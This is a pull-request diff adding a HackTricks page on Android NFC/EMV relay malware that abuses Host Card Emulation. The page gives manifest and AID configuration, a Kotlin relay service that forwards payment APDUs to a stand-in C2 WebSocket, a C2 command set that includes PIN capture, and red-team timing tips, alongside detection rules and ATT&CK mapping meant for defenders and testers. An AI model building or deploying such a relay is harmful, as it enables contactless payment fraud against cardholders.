Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -349,6 +349,7 @@
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
- [Android Anti Instrumentation And Ssl Pinning Bypass](mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md)
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
- [Android Hce Nfc Emv Relay Attacks](mobile-pentesting/android-app-pentesting/android-hce-nfc-emv-relay-attacks.md)
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)
- [APK decompilers](mobile-pentesting/android-app-pentesting/apk-decompilers.md)
Expand Down
3 changes: 2 additions & 1 deletion src/mobile-pentesting/android-app-pentesting/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ Sometimes it is interesting to **modify the application code** to access **hidde
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- [NFC/EMV Relay via HCE (Android Tap-to-Pay abuse)](android-hce-nfc-emv-relay-attacks.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device:

Expand Down Expand Up @@ -874,4 +875,4 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)

{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Original file line number Diff line number Diff line change
@@ -0,0 +1,197 @@
# Android HCE NFC/EMV Relay Attacks

{{#include ../../banners/hacktricks-training.md}}

## Overview

Abuse of Android Host Card Emulation (HCE) allows a malicious app set as the default NFC payment service to relay EMV contactless transactions in real-time. The POS terminal talks ISO 14443-4/EMV to the phone; the app’s HostApduService receives APDUs and forwards them over a bidirectional C2 (often WebSocket) to a backend that crafts responses, which are relayed back to the POS. This enables live card emulation without local card data. Campaigns observed at scale rebrand as banks/government apps, prompt to become the default payment app, and auto-exfiltrate device/card data to Telegram bots/channels.

Key traits
- Android components: HostApduService + default NFC payment handler (category "payment")
- Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
- Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- Roles: scanner (read EMV data) vs tapper (HCE/relay) builds

## Minimal implementation building blocks

### Manifest (become default payment HCE service)

```xml
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
```

Example AID list with EMV payment category (only apps set as default payment can answer these AIDs):

```xml
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
```

Prompt user to set default payment app (opens OS settings):

```kotlin
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
```

### HostApduService relay skeleton

```kotlin
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null

override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}

override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}

override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}

private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
```

Utility note: Background service must respond within the POS timeout budget (~few hundred ms) per APDU; maintain a low-latency socket and pre-auth with the C2. Persist across process death using a foreground service as needed.

### Typical C2 command set (observed)

```text
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
```

### EMV contactless exchange (primer)

The POS drives the flow; the HCE app simply relays APDUs:

- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len <AID> 00
- GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc <PDOL data> 00
- READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc <CDOL1 data> 00

In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes.

## Operator workflows seen in the wild

- Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.
- Event-triggered activation: NFC tap wakes HostApduService; the relay begins.
- Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.
- Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI).

## Evasion at scale (observed)

- Heavy use of brand impersonation (localized app names/icons, bank/gov lookalikes)
- Packing/obfuscation (e.g., JSONPacker) to suppress static detections
- Fast re-skins and multi-C2 infra; dozens of Telegram bots/channels for ops

## Detection and hunting (static + dynamic)

Static (manifest/code)
- Manifest service with android.permission.BIND_NFC_SERVICE and intent action android.nfc.cardemulation.action.HOST_APDU_SERVICE
- AID list with android:category="payment" and PPSE/AIDs (e.g., 32504159... for 2PAY.SYS.DDF01, A0000000031010, A0000000041010)
- Calls opening NFC payment settings (android.settings.NFC_PAYMENT_SETTINGS)
- WebSocket usage in background service; Telegram bot libraries/API domains
- Obfuscator/packer signatures (e.g., JSONPacker)

Dynamic/behavioral
- Unknown app becomes default NFC payment handler
- HostApduService awakened on NFC tap; tight sequence of apdu_command/apdu_response pairs
- Persistent WebSocket connections to unknown infra during/after NFC events
- Telegram bot API traffic; Telegram channel/bot IDs embedded

Suggested telemetry rules
- Flag any app requesting or set as default payment + hosting HostApduService
- Monitor for PPSE/AID filters in AID XML and HCE category=payment
- Detect APDU relay patterns immediately after ACTION_TAG_DISCOVERED/HCE wakeup
- Alert on embedded hardcoded WebSocket endpoints used only when NFC is active

## MITRE ATT&CK (Mobile) mapping

- Initial Access: T1660 Phishing (malicious app delivery)
- Persistence: T1624 Event-Triggered Execution (HCE service on NFC events)
- Defense Evasion: T1655.001 Masquerading (brand impersonation)
- Obfuscation: T1406.002 Software Packing (JSONPacker)
- C2: T1636.002 Web Service: Bidirectional Communication (WebSockets)
- Exfiltration: T1646 Exfiltration Over C2 Channel

## Notes for red team labs

- A “lab-relay” can be built with two phones: Phone A in reader mode harvesting EMV data; Phone B running HCE with a relay backend. Use real POS test terminals or development kits to validate timings and cryptogram correctness.
- Time budget: POS APDU timeouts are strict; maintain a warm WebSocket and pre-authorize at session start.
- Do not persist PAN/CVV or store tracks on-device; pure relay is quieter and faster.

## Related

For smartcard/JavaCard APDU exploitation techniques, see the eSIM/JavaCard page in HackTricks:
- Check generic APDU exploitation patterns here: ../../generic-hacking/esim-javacard-exploitation.md

## References

- [Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices](https://zimperium.com/blog/tap-and-steal-the-rise-of-nfc-relay-malware-on-mobile-devices)
- [Android HostApduService](https://developer.android.com/reference/android/nfc/cardemulation/HostApduService)
- [Android HCE and Card Emulation docs](https://developer.android.com/guide/topics/connectivity/nfc/hce)
- [Zimperium IOCs – 2025-10-NFCStealer](https://github.com/Zimperium/IOC/tree/master/2025-10-NFCStealer)

{{#include ../../banners/hacktricks-training.md}}